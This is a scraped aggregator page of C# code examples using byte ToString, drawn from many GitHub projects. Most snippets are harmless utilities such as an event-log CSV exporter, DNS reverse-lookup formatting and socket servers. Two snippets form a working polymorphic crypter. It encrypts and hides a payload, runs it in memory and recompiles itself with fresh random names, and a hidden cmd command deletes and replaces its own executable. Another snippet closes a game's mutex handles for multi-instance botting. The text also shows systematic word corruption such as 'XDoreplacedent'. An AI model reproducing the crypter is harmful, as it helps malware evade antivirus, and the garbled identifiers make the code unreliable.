                            // Get the SystemTime from the event record XML 
                            var xml = XDoreplacedent.Parse(eventRecord.ToXml());
                            XNamespace ns = xml.Root.GetDefaultNamespace();

                            string Message = "";
                            string SystemTime = "";
                            string Id = "";
                            string Version = "";
                            string Qualifiers = "";
                            string Level = "";
                            string Task = "";
                            string Opcode = "";
                            string Keywords = "";
                            string RecordId = "";
                            string ProviderName = "";
                            string ProviderID = "";
                            string LogName = "";
                            string ProcessId = "";
                            string ThreadId = "";
                            string MachineName = "";
                            string UserID = "";
                            string TimeCreated = "";
                            string ActivityId = "";
                            string RelatedActivityId = "";
                            string Hashcode = "";
                            string LevelDisplayName = "";
                            string OpcodeDisplayName = "";
                            string TaskDisplayName = "";

                            // Debugging Stuff
                            //Console.WriteLine("-- STARTING --");
                            // Try to collect all the things. Catch them if we can't.
                            // Sometimes fields are null or cannot be converted to string (why?).
                            // If they are, catch and do nothing, so they will stay empty ("").
                            // This has primarily been LevelDisplayName, OpcodeDisplayName, and TaskDisplayName
                            // but we'll catch it all anyway
                            // https://github.com/BeanBagKing/EventFinder2/issues/1
                            try
                            {
                                Message = eventRecord.FormatDescription();
                                if (Message == null)
                                {
                                    Message += "EventRecord.FormatDescription() returned a null value. This is usually because:\n";
                                    Message += "    \"Either the component that raises this event is not installed on your local computer\n" +
                                        "    or the installation is corrupted. You can install or repair the component on the local computer.\"\n";
                                    Message += "The event likely originated on another system, below is the XML data replacedociated with this event\n";
                                    Message += "\n";
                                    Message += XDoreplacedent.Parse(eventRecord.ToXml()).ToString();
                                    // If the message body is null, it's because the DLL that created it is on another system and it can't be parsed in real time
                                    // The below works, but we can do better!
                                    // foreach (var node in xml.Descendants(ns + "Event")) 
                                    //  {
                                    //      Message += node.Value;
                                    //      Message += "\n";
                                    //  }
                                }
                            }
                            catch
                            {
                                //Console.WriteLine("Error on FormatDescription");
                            }
                            try
                            {
                                SystemTime = xml.Root.Element(ns + "System").Element(ns + "TimeCreated").Attribute("SystemTime").Value;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on SystemTime");
                            }
                            try
                            {
                                Id = eventRecord.Id.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Id");
                            }
                            try
                            {
                                Version = eventRecord.Version.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Version");
                            }
                            try
                            {
                                Qualifiers = eventRecord.Qualifiers.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Qualifiers");
                            }
                            try
                            {
                                Level = eventRecord.Level.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Level");
                            }
                            try
                            {
                                Task = eventRecord.Task.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Task");
                            }
                            try
                            {
                                Opcode = eventRecord.Opcode.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Opcode");
                            }
                            try
                            {
                                Keywords = eventRecord.Keywords.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Keywords");
                            }
                            try
                            {
                                RecordId = eventRecord.RecordId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on RecordId");
                            }
                            try
                            {
                                ProviderName = eventRecord.ProviderName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProviderName");
                            }
                            try
                            {
                                ProviderID = eventRecord.ProviderId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProviderId");
                            }
                            try
                            {
                                LogName = eventRecord.LogName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on LogName");
                            }
                            try
                            {
                                ProcessId = eventRecord.ProcessId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProcessId");
                            }
                            try
                            {
                                ThreadId = eventRecord.ThreadId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ThreadId");
                            }
                            try
                            {
                                MachineName = eventRecord.MachineName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on eventRecord");
                            }
                            try
                            {
                                UserID = eventRecord.UserId?.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on UserId");
                            }
                            try
                            {
                                TimeCreated = eventRecord.TimeCreated.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on TimeCreated");
                            }
                            try
                            {
                                ActivityId = eventRecord.ActivityId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ActivityId");
                            }
                            try
                            {
                                RelatedActivityId = eventRecord.RelatedActivityId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on RelatedActivityId");
                            }
                            try
                            {
                                Hashcode = eventRecord.GetHashCode().ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on GetHashCode");
                            }
                            try
                            {
                                LevelDisplayName = eventRecord.LevelDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on LevelDisplayName");
                            }
                            try
                            {
                                OpcodeDisplayName = eventRecord.OpcodeDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on OpcodeDisplayName");
                            }
                            try
                            {
                                TaskDisplayName = eventRecord.TaskDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on TaskDisplayName");
                            }
                            //Console.WriteLine("-- ENDING --");

                            // Add them to the record. The things equal the things.
                            records.Add(new Record() { Message = Message, SystemTime = SystemTime, Id = Id, Version = Version, Qualifiers = Qualifiers, Level = Level, Task = Task, Opcode = Opcode, Keywords = Keywords, RecordId = RecordId, ProviderName = ProviderName, ProviderID = ProviderID, LogName = LogName, ProcessId = ProcessId, ThreadId = ThreadId, MachineName = MachineName, UserID = UserID, TimeCreated = TimeCreated, ActivityId = ActivityId, RelatedActivityId = RelatedActivityId, Hashcode = Hashcode, LevelDisplayName = LevelDisplayName, OpcodeDisplayName = OpcodeDisplayName, TaskDisplayName = TaskDisplayName });
                        }
                    }
                    catch (UnauthorizedAccessException)
                    {
                        // If you are running as admin, you will get unauthorized for some logs. Hey, I warned you! Nothing to do here.
                        // Catching this seperately since we know what happened.
                    }
                    catch (Exception ex)
                    {
                        if (Log.ToString().Equals("Microsoft-RMS-MSIPC/Debug"))
                        {
                            // Known issue, do nothing
                            // https://github.com/BeanBagKing/EventFinder2/issues/3
                        }
                        else if (Log.ToString().Equals("Microsoft-Windows-USBVideo/replacedytic"))
                        {
                            // Known issue, do nothing
                            // https://github.com/BeanBagKing/EventFinder2/issues/2
                        }
                        else
                        {
                            // Unknown issue! Write us a bug report
                            bool isElevated;
                            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
                            {
                                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                                isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
                            }
                            using (StreamWriter writer = new StreamWriter(DesktopPath + "\\ERROR_EventFinder_" + RunTime + ".txt", append: true))
                            {
                                writer.WriteLine("-----------------------------------------------------------------------------");
                                writer.WriteLine("Issue Submission: https://github.com/BeanBagKing/EventFinder2/issues");
                                writer.WriteLine("Date : " + DateTime.Now.ToString());
                                writer.WriteLine("Log : " + Log);
                                writer.WriteLine("Admin Status: " + isElevated);
                                writer.WriteLine();

                                while (ex != null)
                                {
                                    writer.WriteLine(ex.GetType().FullName);
                                    writer.WriteLine("Message : " + ex.Message);
                                    writer.WriteLine("StackTrace : " + ex.StackTrace);
                                    writer.WriteLine("Data : " + ex.Data);
                                    writer.WriteLine("HelpLink : " + ex.HelpLink);
                                    writer.WriteLine("HResult : " + ex.HResult);
                                    writer.WriteLine("InnerException : " + ex.InnerException);
                                    writer.WriteLine("Source : " + ex.Source);
                                    writer.WriteLine("TargetSite : " + ex.TargetSite);

                                    ex = ex.InnerException;
                                }
                            }
                        }
                    }

                }
                records = records.OrderBy(x => x.SystemTime).ToList(); // Sort our records in chronological order
                // and write them to a CSV
                using (var writer = new StreamWriter(DesktopPath + "\\Logs_Runtime_" + RunTime + ".csv", append: true))
                using (var csv = new CsvWriter(writer))
                {
                    csv.Configuration.ShouldQuote = (field, context) => true;
                    csv.WriteRecords(records);
                }
                StatusOutput.Text = "Run Complete";
                StatusOutput.ForeColor = System.Drawing.Color.Blue;
                records.Clear();
            }
            FindEventsButton.Enabled = true;
        }

19 Source : 水印.cs
with Apache License 2.0
from becomequantum

public string 基本参数转字符串() {
            return X百分比.ToString() + 隔 + Y百分比.ToString() + 隔 + 大小百分比.ToString() + 隔 +  颜色.R.ToString() +","+ 颜色.G.ToString() + ","+ 颜色.B.ToString() + 隔 + 透明度.ToString() + 隔+ 旋转角度.ToString() + 隔 + 横向复制个数.ToString() + 隔 + 纵向复制个数.ToString() + 隔 + 横向百分比间距.ToString() + 隔 + 纵向百分比间距.ToString() + 隔 + 中心点.X.ToString() + "," + 中心点.Y.ToString() + 隔 + 大小.Width.ToString() + "," + 大小.Height.ToString() + 隔 + 透明度波动.ToString() + 隔;
        }

19 Source : ColorExtensions.cs
with MIT License
from BigEggTools

public static String ToRGBString(this Color color)
        {
            return string.Join(", ", color.R.ToString());
        }

19 Source : Autofarm.cs
with MIT License
from Blacklock

private void CloseProcessHandles(Process growtopia) { // We need to remove handlers from the last process
			Console.WriteLine("Starting handle magic...");
			statusMessage.Text = "Querying system handle information...";
			int nLength = 0;
			IntPtr handlePointer = IntPtr.Zero;
			int sysInfoLength = 0x10000; // How much to allocate to returned data
			IntPtr infoPointer = Marshal.AllocHGlobal(sysInfoLength);
			// 0x10 = SystemHandleInformation, an undoreplacedented SystemInformationClreplaced
			uint result; // NtQuerySystemInformation won't give us the correct buffer size, so we guess it
						 // replacedign result of NtQuerySystemInformation to this variable and check if the buffer size is correct
						 // If it's incorrect, it returns STATUS_INFO_LENGTH_MISMATCH (0xc0000004)
			while ((result = NtQuerySystemInformation(0x10, infoPointer, sysInfoLength, ref nLength)) == 0xc0000004) {
				sysInfoLength = nLength;
				Marshal.FreeHGlobal(infoPointer);
				infoPointer = Marshal.AllocHGlobal(nLength);
			}

			byte[] baTemp = new byte[nLength];
			// Copy the data from unmanaged memory to managed 1-byte uint array
			Marshal.Copy(infoPointer, baTemp, 0, nLength);
			// Do we even need the two statements above??? Look into this later.

			long sysHandleCount = 0; // How many handles there are total
			if (Is64Bits()) {
				sysHandleCount = Marshal.ReadInt64(infoPointer);
				handlePointer = new IntPtr(infoPointer.ToInt64() + 8); // Points in bits at the start of a handle
			} else {
				sysHandleCount = Marshal.ReadInt32(infoPointer);
				handlePointer = new IntPtr(infoPointer.ToInt32() + 4); // Ignores 4 first bits instead of 8
			}

			statusMessage.Text = "Query received, processing the " + sysHandleCount + " results.";

			WS.SYSTEM_HANDLE_INFORMATION handleInfoStruct; // The struct to hold info about a single handler

			List<WS.SYSTEM_HANDLE_INFORMATION> handles = new List<WS.SYSTEM_HANDLE_INFORMATION>();
			for (long i = 0; i < sysHandleCount; i++) { // Iterate over handle structs in the handle struct list
				handleInfoStruct = new WS.SYSTEM_HANDLE_INFORMATION();
				if (Is64Bits()) {
					handleInfoStruct = (WS.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(handlePointer, handleInfoStruct.GetType()); // Convert to struct
					handlePointer = new IntPtr(handlePointer.ToInt64() + Marshal.SizeOf(handleInfoStruct) + 8); // point 8 bits forward to the next handle
				} else {
					handleInfoStruct = (WS.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(handlePointer, handleInfoStruct.GetType());
					handlePointer = new IntPtr(handlePointer.ToInt64() + Marshal.SizeOf(handleInfoStruct));
				}

				if (handleInfoStruct.ProcessID != growtopia.Id) { // Check if current handler is from Growtopia
					continue; // If it's not from Growtopia, just skip it
				}

				string handleName = ViewHandleName(handleInfoStruct, growtopia);
				// TODO: Looks like the mutant session number is different for different PCs
				// Maybe just check if the string contains basenamedobjects/growtopia and starts with sessions?
				if (handleName != null && handleName.StartsWith(@"\Sessions\") && handleName.EndsWith(@"\BaseNamedObjects\Growtopia")) {
					handles.Add(handleInfoStruct);
					Console.WriteLine("PID {0,7} Pointer {1,12} Type {2,4} Name {3}", handleInfoStruct.ProcessID.ToString(),
																					  handleInfoStruct.Object_Pointer.ToString(),
																					  handleInfoStruct.ObjectTypeNumber.ToString(),
																					  handleName);
				} else {
					continue; // This is not a handle we're looking for
				}
				
			}

			Console.WriteLine("Closing mutexes?");
			foreach (WS.SYSTEM_HANDLE_INFORMATION handle in handles) {
				CloseMutex(handle);
			}

			statusMessage.Text = "Query finished, " + sysHandleCount + " results processed.";
			Console.WriteLine("Handle closed.");
		}

19 Source : NameServiceProgram.cs
with MIT License
from bmresearch

public static DecodedInstruction Decode(ReadOnlySpan<byte> data, IList<PublicKey> keys, byte[] keyIndices)
        {
            byte instruction = data.GetU8(MethodOffset);
            NameServiceInstructions.Values instructionValue =
                (NameServiceInstructions.Values)Enum.Parse(typeof(NameServiceInstructions.Values), instruction.ToString());

            DecodedInstruction decodedInstruction = new()
            {
                PublicKey = ProgramIdKey,
                InstructionName = NameServiceInstructions.Names[instructionValue],
                ProgramName = ProgramName,
                Values = new Dictionary<string, object>(),
                InnerInstructions = new List<DecodedInstruction>()
            };

            switch (instructionValue)
            {
                case NameServiceInstructions.Values.Create:
                    DecodeCreateNameRegistry(decodedInstruction, data, keys, keyIndices);
                    break;
                case NameServiceInstructions.Values.Update:
                    DecodeUpdateNameRegistry(decodedInstruction, data, keys, keyIndices);
                    break;
                case NameServiceInstructions.Values.Transfer:
                    DecodeTransferNameRegistry(decodedInstruction, data, keys, keyIndices);
                    break;
                case NameServiceInstructions.Values.Delete:
                    DecodeDeleteNameRegistry(decodedInstruction, keys, keyIndices);
                    break;
            }

            return decodedInstruction;
        }

19 Source : Domain.cs
with GNU General Public License v3.0
from BorjaMerino

private static string FormatReverseIP(IPAddress ip) {
            byte[] address = ip.GetAddressBytes();

            if (address.Length == 4) {
                return string.Join(".", address.Reverse().Select(b => b.ToString())) + ".in-addr.arpa";
            }

            byte[] nibbles = new byte[address.Length * 2];

            for (int i = 0, j = 0; i < address.Length; i++, j = 2 * i) {
                byte b = address[i];

                nibbles[j] = b.GetBitValueAt(4, 4);
                nibbles[j + 1] = b.GetBitValueAt(0, 4);
            }

            return string.Join(".", nibbles.Reverse().Select(b => b.ToString("x"))) + ".ip6.arpa";
        }

19 Source : VersionInfo.cs
with MIT License
from BrunoS3D

public override string ToString()
	{
		return string.Format( "{0}.{1}.{2}", m_major, m_minor, m_release ) + ( Revision > 0 ? "r" + Revision.ToString() : "" );
	}

19 Source : VersionInfo.cs
with MIT License
from BrunoS3D

public static string StaticToString()
	{
		return string.Format( "{0}.{1}.{2}", Major, Minor, Release ) + ( Revision > 0 ? "r" + Revision.ToString() : "" );
	}

19 Source : AttributeDictionary.cs
with MIT License
from brunurd

public override string ToString()
    {
      return value.ToString();
    }

19 Source : Program.cs
with BSD 2-Clause "Simplified" License
from bytecode77

public static void Main(string[] args)
		{
			CodeDomProvider compiler = CodeDomProvider.CreateProvider("CSharp");
			string outputreplacedembly = Path.Combine(Application.StartupPath, GetVariableName() + ".exe");

			CompilerParameters parameters = new CompilerParameters
			{
				GenerateExecutable = true,
				GenerateInMemory = true,
				Outputreplacedembly = outputreplacedembly,
				CompilerOptions = "/target:winexe /platform:x86"
			};

			parameters.Referencedreplacedemblies.Add("mscorlib.dll");
			parameters.Referencedreplacedemblies.Add("System.dll");
			parameters.Referencedreplacedemblies.Add("System.Core.dll");
			parameters.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

			string stubCode = string.Join("\r\n", Resources.Stub.Replace("\r\n", "\n").Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries));

			while (stubCode.Contains("_V_"))
			{
				string variableName = new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray());
				stubCode = stubCode.Replace(variableName, variableName == "_V_DecryptString" ? "_@_DecryptString" : "_@_" + GetCleanVariableName());
			}
			stubCode = stubCode.Replace("_@_", "_V_");

			stubCode = stubCode.Replace("_CONST_EncryptedStubCode", "new byte[]{" + string.Join(",", Encrypt(Compress(Encoding.UTF8.GetBytes(stubCode))).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");
			stubCode = stubCode.Replace("_CONST_EncryptedPayload", "new byte[]{" + string.Join(",", Encrypt(Compress(Resources.Payload)).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");

			while (stubCode.Contains("\""))
			{
				int start = stubCode.IndexOf('"');
				string stringLiteral = stubCode.Substring(start, stubCode.IndexOf('"', start + 1) - start + 1);
				stubCode = stubCode.Replace(stringLiteral, "_V_DecryptString(@" + EncryptString(stringLiteral.Substring(1, stringLiteral.Length - 2)) + "@)");
			}
			while (stubCode.Contains("_V_"))
			{
				stubCode = stubCode.Replace(new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray()), GetVariableName());
			}
			stubCode = stubCode.Replace('@', '"');

			File.WriteAllText("Debug_SelfMorphingCSharpBinary.cs", stubCode);

			compiler.CompilereplacedemblyFromSource(parameters, stubCode);
			string destinationreplacedembly = "SelfMorphingCSharpBinary.exe";
			File.Delete(destinationreplacedembly);
			File.Move(outputreplacedembly, destinationreplacedembly);
		}

19 Source : Stub.cs
with BSD 2-Clause "Simplified" License
from bytecode77

static void Main()
	{
		byte[] _V_Main_Payload = _V_Decompress(_V_DecryptData(_CONST_EncryptedPayload));
		replacedembly.Load(_V_Main_Payload).GetTypes()[0].GetMethod("Main").Invoke(null, new object[0]);
		string _V_Main_Outputreplacedembly = _V_GetVariableName() + ".exe";

		CodeDomProvider _V_Main_Compiler = CodeDomProvider.CreateProvider("CSharp");
		CompilerParameters _V_Main_Parameters = new CompilerParameters
		{
			GenerateExecutable = true,
			GenerateInMemory = true,
			Outputreplacedembly = Path.Combine(Application.StartupPath, _V_Main_Outputreplacedembly),
			CompilerOptions = "/target:winexe /platform:x86"
		};

		_V_Main_Parameters.Referencedreplacedemblies.Add("mscorlib.dll");
		_V_Main_Parameters.Referencedreplacedemblies.Add("System.dll");
		_V_Main_Parameters.Referencedreplacedemblies.Add("System.Core.dll");
		_V_Main_Parameters.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

		string _V_Main_OriginalStubCode = Encoding.UTF8.GetString(_V_Decompress(_V_DecryptData(_CONST_EncryptedStubCode)));
		string _V_Main_StubCode = _V_Main_OriginalStubCode;

		while (_V_Main_StubCode.Contains('\x22'))
		{
			int _V_Main_StringLiteralStart = _V_Main_StubCode.IndexOf('\x22');
			string _V_Main_StringLiteral = _V_Main_StubCode.Substring(_V_Main_StringLiteralStart, _V_Main_StubCode.IndexOf('\x22', _V_Main_StringLiteralStart + 1) - _V_Main_StringLiteralStart + 1);
			_V_Main_StubCode = _V_Main_StubCode.Replace(_V_Main_StringLiteral, "_V_DecryptString(" + '\x40' + _V_EncryptString(_V_Main_StringLiteral.Substring(1, _V_Main_StringLiteral.Length - 2)) + '\x40' + ")");
		}
		while (_V_Main_StubCode.Contains("_V" + "_"))
		{
			_V_Main_StubCode = _V_Main_StubCode.Replace(new string(_V_Main_StubCode.Substring(_V_Main_StubCode.IndexOf("_V" + "_")).TakeWhile(_V_Main_Character => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(_V_Main_Character))).ToArray()), _V_GetVariableName());
		}
		_V_Main_StubCode = _V_Main_StubCode.Replace('\x40', '\x22');

		_V_Main_StubCode = _V_Main_StubCode
			.Replace("_CONST_" + "EncryptedStubCode", "new byte[]{" + string.Join(",", _V_EncryptData(_V_Compress(Encoding.UTF8.GetBytes(_V_Main_OriginalStubCode))).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}")
			.Replace("_CONST_" + "EncryptedPayload", "new byte[]{" + string.Join(",", _V_EncryptData(_V_Compress(_V_Main_Payload)).Select(_V_Main_Byte3 => _V_Main_Byte3.ToString())) + "}");
		_V_Main_Compiler.CompilereplacedemblyFromSource(_V_Main_Parameters, _V_Main_StubCode);

		File.WriteAllText("Debug_MorphedStub.cs", _V_Main_StubCode, Encoding.UTF8);
		File.WriteAllText("Debug_MorphedStub_Original.cs", _V_Main_OriginalStubCode, Encoding.UTF8);

		Process.Start(new ProcessStartInfo
		{
			FileName = "cmd.exe",
			Arguments = "/C ping 1.1.1.1 -n 1 -w 1000 > Nul & Del " + '\x22' + Application.ExecutablePath + '\x22' + " & move " + '\x22' + _V_Main_Outputreplacedembly + '\x22' + " " + '\x22' + Application.ExecutablePath + '\x22',
			CreateNoWindow = true,
			WindowStyle = ProcessWindowStyle.Hidden
		});
	}

19 Source : PlayerTestDataBuilder.cs
with GNU General Public License v3.0
from caioavidal

public static IPlayer Build(uint id = 1, string name = "PlayerA", uint capacity = 100, ushort hp = 100,
            ushort mana = 30, ushort speed = 200,
            Dictionary<Slot, Tuple<IPickupable, ushort>> inventoryMap = null, Dictionary<SkillType, ISkill> skills = null,
            byte vocationType = 1, IPathFinder pathFinder = null, IWalkToMechanism walkToMechanism = null,
            IVocationStore vocationStore = null, IGuild guild= null)
        {
            var vocation = new Vocation()
            {
                Id = vocationType.ToString(),
                Name = "Knight",
            };

            if (vocationStore is null)
            {
                vocationStore = new VocationStore();
                vocationStore.Add(vocationType, vocation);
            }

            var player = new Player(id, name, ChaseMode.Stand, capacity, hp, hp, vocationStore.Get(vocationType), Gender.Male, true, mana,
                mana,
                FightMode.Attack,
                100, 100,
                skills ?? new Dictionary<SkillType, ISkill>
                    { { SkillType.Level, new Skill(SkillType.Level, 1, 10, 1) } },
                300, new Outfit(), speed, new Location(100, 100, 7), pathFinder, walkToMechanism)
            {
                Guild = guild
            };

            if (inventoryMap is not null)
            {
                var inventory = InventoryTestDataBuilder.Build(player, inventoryMap);
                player.AddInventory(inventory);
            }

            return player;
        }

19 Source : ObscuredByte.cs
with GNU General Public License v3.0
from cc004

public override string ToString() => this.InternalDecrypt().ToString();

19 Source : AssetTypeValue.cs
with GNU General Public License v3.0
from cc004

public string replacedtring()
        {
            switch (type)
            {
                case EnumValueTypes.Bool:
                    return value.asBool ? "true" : "false";
                case EnumValueTypes.Int8:
                    return value.asInt8.ToString();
                case EnumValueTypes.UInt8:
                    return value.asUInt8.ToString();
                case EnumValueTypes.Int16:
                    return value.asInt16.ToString();
                case EnumValueTypes.UInt16:
                    return value.asUInt16.ToString();
                case EnumValueTypes.Int32:
                    return value.asInt32.ToString();
                case EnumValueTypes.UInt32:
                    return value.asUInt32.ToString();
                case EnumValueTypes.Int64:
                    return value.asInt64.ToString();
                case EnumValueTypes.UInt64:
                    return value.asUInt64.ToString();
                case EnumValueTypes.Float:
                    return value.asFloat.ToString();
                case EnumValueTypes.Double:
                    return value.asDouble.ToString();
                case EnumValueTypes.String:
                    return Encoding.UTF8.GetString(value.replacedtring);
                case EnumValueTypes.None:
                case EnumValueTypes.Array:
                case EnumValueTypes.ByteArray:
                default:
                    return "";
            }
        }

19 Source : SocketServer.cs
with Apache License 2.0
from cdy816

private IByteBuffer ExecuteCallBack(IChannelHandlerContext context,byte fun,IByteBuffer datas)
        {
            if(mFuns.ContainsKey(fun))
            {
                return mFuns[fun](GetClientId(context), datas);
            }
            else
            {
                LoggerService.Service.Warn("socket server:", "invailed data:"+fun.ToString());
            }
            return null;
        }

19 Source : SocketServer2.cs
with Apache License 2.0
from cdy816

public override ByteBuffer OnReceiveData(string id, ByteBuffer data)
        {
            if (data != null && data.WriteIndex > data.ReadIndex)
            {
                byte fun = data.ReadByte();

                if (mFuns.ContainsKey(fun))
                {
                    return mFuns[fun](id, data);
                }
                else
                {
                    Console.WriteLine("socket server:", "invailed data:" + fun.ToString(),ConsoleColor.Yellow);
                }
            }
            return base.OnReceiveData(id, data);
        }

19 Source : CharSequenceValueConverter.cs
with Apache License 2.0
from cdy816

public ICharSequence ConvertByte(byte value) => new StringCharSequence(value.ToString());

19 Source : NumberToBitConvert.cs
with Apache License 2.0
from cdy816

public string SaveToString()
        {
            return Index.ToString();
        }

19 Source : TcpServer.cs
with Apache License 2.0
from cdy816

public override ByteBuffer OnReceiveData(string id, ByteBuffer data)
        {
            if (data != null && data.WriteIndex > data.ReadIndex)
            {
                byte fun = data.ReadByte();

                if (mFuns.ContainsKey(fun))
                {
                    return mFuns[fun](id, data);
                }
                else
                {
                    Console.WriteLine("socket server:", "invailed data:" + fun.ToString(), ConsoleColor.Yellow);
                }
            }
            return base.OnReceiveData(id, data);
        }

See More Examples